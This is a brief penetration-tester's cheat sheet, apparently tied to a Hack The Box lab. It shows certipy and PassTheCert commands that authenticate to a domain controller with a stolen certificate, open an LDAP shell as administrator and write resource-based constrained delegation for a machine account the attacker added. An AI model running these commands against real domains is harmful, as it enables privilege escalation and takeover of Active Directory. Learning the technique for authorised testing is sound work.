PassTheCert

By

Brian Johnson

PassTheCert is awesome when you need to "authenticate to an LDAP/S server with a certificate through Schannel."

Passing the cert with a .pfx file

Typically I do cert-based authentication with certipy:

certipy auth -pfx server01.pfx -dc-ip 10.0.0.1

Establishing an LDAP shell

In this example I'm coming from a point of view where authenticating with a pfx using certipy failed and so I had to split out the .pfx into a .crt and .key file. Using those two new files, here's how I got an LDAP shell setup with passthecert:

passthecert.py -action ldap-shell -crt administrator.crt -key administrator.key -domain domain.com -dc-ip 10.1.2.3

From the LDAP shell connection, you might be able to add a computer (see ntlmrelayx page) to the environment. And if so then it might be a perfect time to pull off some RBCD fun:

RBCD attack

passthecert.py -action write_rbcd -crt server01.crt -key server01.key -domain domain.com -dc-ip 10.1.2.3 -delegate-to 'server01$' -
delegate-from 'ghost-machine-i-just-added$' -debug

Then get a TGT and then knab a service ticket!

More info

These are some write-ups that gave me a better understanding PassTheCert situations:

• https://mgarrity.com/hack-the-box-authority

• https://0xdf.gitlab.io/2023/12/09/htb-authority.html